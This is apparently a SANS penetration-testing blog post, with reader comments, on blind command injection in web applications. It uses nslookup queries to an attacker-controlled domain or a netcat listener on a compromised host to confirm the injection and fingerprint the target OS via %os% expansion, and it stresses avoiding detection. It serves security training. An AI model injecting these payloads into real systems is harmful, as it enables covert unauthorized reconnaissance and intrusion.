SANS Penetration Testing

Command Injection Tips: Leveraging Command-line Kung Fu with nslookup

[Editor's Note: Tom Heffron provides some really cool tips for leveraging nslookup in web app command-injection attacks. His ideas for using environment variables is pretty nifty, and his point about how to launch this so that it doesn't require an authoritative DNS server is great. -Ed.]

When I took the recent SANS SEC 560 vLive course (yes, with Smell-O-Vision!) in January and February, I was super pumped to study the Pen Testing Arts under Sensei Skoudis and Sensei Medin. The last half of Day 5 focused on web app attacks (including hands-on exercises for XSRF, XSS, SQLi, and command injection). I took a particular interest in the command injection portion of the class, thinking about how to mix in a little command-line kung fu with nslookup, so that a pen tester may actually gather more information about the target environment in a flexible fashion.

Sometimes when I'm working at home, I like to pretend that I never read a particular paragraph in Tim Medin's earlier post on this blog <<shiver>> on pillaging iOS images for useful data. But, I'll expand on his scenario of Department X and evil Dr. Loki. (Emphatically noted that I'll be fully dressed in normal clothes - not in tights or a cape!)

In our scenario illustrating my approach, Department X was successful in capturing evil Dr. Loki and keeping him from acquiring large quantities of trout and <redacted> pizza. (Yay!) Dr. Loki is now being held in solitary confinement at the Conglomo State Prison. Unfortunately, the warden allows prison guards to perform DNS lookups for inmates. (Work with me - - it's not my super-hero fantasy!) Little do the authorities know that this will allow Dr. Loki to use the prison guards to communicate with his evil minions!

Now, using their favorite method of blind command injection, crafty pen testers might choose to invoke ping on the target as it's rather universal for all operating systems. However, it has the side effect of behaving slightly differently on different operating systems and could leave a process running on the system. Also, a well-informed network admin would likely block ping from an internal production database or web server directly to the Internet. An additional pitfall is that continuously blocked ping requests may show up in firewall logs or even trigger an IDS alert. In the case of blocked ping, the pen tester may have successfully initiated the blind command injection, but does not know it... and worse yet, that pen tester may have gotten noticed by careful sysadmins or scrupulous security personnel.

1) Enter nslookup

While a well-insulated production server may not have direct access to the Internet, the fact that DNS is distributed will allow the A record query to ripple from server to server until it reaches one that does have the needed access. A simple command like the following will work (you'd inject the following into the fields of the web app):

nslookup minions-of-loki.no-minions.here

If the command injection is successful, it will, by default, traverse from target host, to internal DNS server, to external DNS server, then along the standard pathway on the Internet. A pen tester having access to the authoritative DNS for "no-minions.here" could sniff for this traffic and see that the command injection was successful. Even though the request was not directly from the target host, we know our command injection was successful because it was initiated by the target host. We could even put a very specific identifier string in the first portion of the domain name to ensure that it is our injected data that is triggering the lookup and to differentiate input fields we are testing for command injection, such as field123-minions-of-loki.no-minions.here.

If the command injection is not successful, then the pen tester can be confident that: 1) it is not due to different behavior between Windows and UNIX/Linux; and 2) there are not any processes left running that leave evidence of an attempted exploit (nslookup simply completes or times out and dies). Nslookup For The Win (over ping) in command injection. But, this is just scratching the surface. Let's make this baby sing.

2) Leveraging your command-line kung fu

While the basic form of the nslookup command is the same for Windows and UNIX/Linux, ninja pen testers can then turn to different interpretations of shell variables and use this to their advantage while passing options to the nslookup command. The identifier %os% means nothing to UNIX/Linux but will force a Windows machine to translate that shell variable into the core OS type (in most cases, it will be the string 'Windows_NT'). Using the single command-line:

nslookup %os%.no-minions.here

will force the different operating system behaviors to be at a point that is much more useful to us. On a Windows system, the resulting A record query will be for:

Windows_NT.no-minions.here

and, on UNIX/Linux there will be no translation, so the resulting A record query will be for:

%os%.no-minions.here

Fear not, my fellow pen testers, the acceptance of Unicode characters into the DNS structure allows these unusual characters to traverse the Internet without error. (RFC 2044).

Of course, the %os% value itself on Windows requires a shell to be running to expand that variable into its value. The web app with a command injection flaw may be launching a shell, or it may not (and instead, it just blindly runs whatever command we enter, shell-less). If that is the case, you could inject:

cmd.exe /c "nslookup %os%.no-minions.here"

This launches a shell to run the nslookup command. That shell can now expand the %os% variable to its value on Windows.

Back at our authoritative DNS server for "no-minions.here," we sniff the network to view the query coming in. Seeing 'Windows_NT' as the host indicates our target is any one of the currently-supported Microsoft OS family, and seeing '%os%' as the host means our target is likely in the UNIX/Linux family. Now, you can apply the proper tool set when attempting further penetration testing of the target. Keep in mind that your authoritative DNS server does not need to reply with a valid address for either request because "non-existent host" is a valid response to a successful A record query. Heck, as we'll see, the DNS host doesn't even need to respond at all...

3) Apply additional stealth

So far, we've applied the example where the pen tester has access to the authoritative name server for the domain that the target host is querying ("no-minions.here" in our case). But a closer look at the nslookup command reveals an additional parameter which can be very helpful. Again, this form is the same across nslookup in both Windows and UNIX/Linux. Adding a second parameter to nslookup tells the target host which DNS server it should query for the A record:

nslookup %os%.no-minions.here [server-to-query]

Whether the 'server-to-query' parameter is a host on the Internet or a compromised internal machine, simply opening up a netcat listener on UDP port 53 on that host will provide the information we need about the target host. The beauty here is that you don't need to have an authoritative DNS server for this approach to work. And, using Netcat to listen on UDP, you don't even have to sniff for the request. You simply tell nslookup where to send its query (a place where you are waiting with Netcat or sniffing for requests)! Let's say you have compromised a Linux host in the target environment with the IP address of 10.10.10.20. On that machine, you could run:

[on pwned box] # nc -nu -l 53

[on target web application host through command injection] nslookup %os%.no-minions.here 10.10.10.20

Once netcat shows the inbound request from the target host and the unique string indicating whether it is a Windows or UNIX/Linux host, the pen tester can simply stop netcat and move onto deeper command injection. The process will simply time out on the target host and die gracefully. No response is necessary.

If all of the above are successful, the crafty pen tester has a technique that:

  • Will likely not be noticed by administrators.
  • Leverages the target host's own OS to provide information about its OS type.
  • Verifies the target host has outbound connectivity to the attacker either directly or indirectly through outbound DNS lookups (a very effective covert signaling channel with tools such as Ron Bowes' DNScat).
  • Verifies the target host successfully executes command injection.
  • Leverages the target environment's own infrastructure to verify command execution.
  • Eliminates the risk of leaving orphaned ping processes running on the target host.
  • Doesn't require the pen tester to have an authoritative DNS server to receive the request.

Enjoy!

— Tom Heffron
Penetration Tester

6 Comments

Posted April 5, 2013 at 3:26 PM | Permalink | Reply

jakx

Awesome post! Love learning new ways to leverage command injections!
I could not see the OS shell variable output in netcat, but running "tcpdump port 53" works like a charm.

Posted April 5, 2013 at 6:18 PM | Permalink | Reply

T

I love the concept, but on all test machines it just expands the %OS% or other variable on the localmachine. The query being sent to the DNS server already has the env var expanded.

Posted April 5, 2013 at 6:21 PM | Permalink | Reply

T

Scratch that. This is for web app entry, not command line.

Posted April 8, 2013 at 12:23 PM | Permalink | Reply

Tom Heffron

Thanks jakx!
I really appreciate the kind words and that you found it useful.
''"TH

Posted April 9, 2013 at 3:41 PM | Permalink | Reply

Tom Heffron

A few of things to look at on the netcat command:
1) The command should be: nc -nu -l -p 53. [I missed this on the proofread and have asked Ed to update it.]
2) In UNIX/Linux, the netcat listener will need to be restarted after each connection to the non-authoritative server. Once the target server makes the request and gives up, the listener will effectively stop, but not give you a prompt back. This might make you think that netcat is still listening.
3) The output on the netcat listener is not pretty. The DNS request payload has a mix of binary field info and ASCII printable characters. You should still be able to make out the request string.
''"TH

Posted April 9, 2013 at 7:59 PM | Permalink | Reply

Tom Heffron

A few of things to look at on the netcat command:
1) In UNIX/Linux, the netcat listener will need to be restarted after each connection to the non-authoritative server. Once the target server makes the request and gives up, the listener will effectively stop, but not give you a prompt back. This might make you think that netcat is still listening.
2) The output on the netcat listener is not pretty. The DNS request payload has a mix of binary field info and ASCII printable characters. You should still be able to make out the request string.

Post a Comment






Captcha


* Indicates a required field.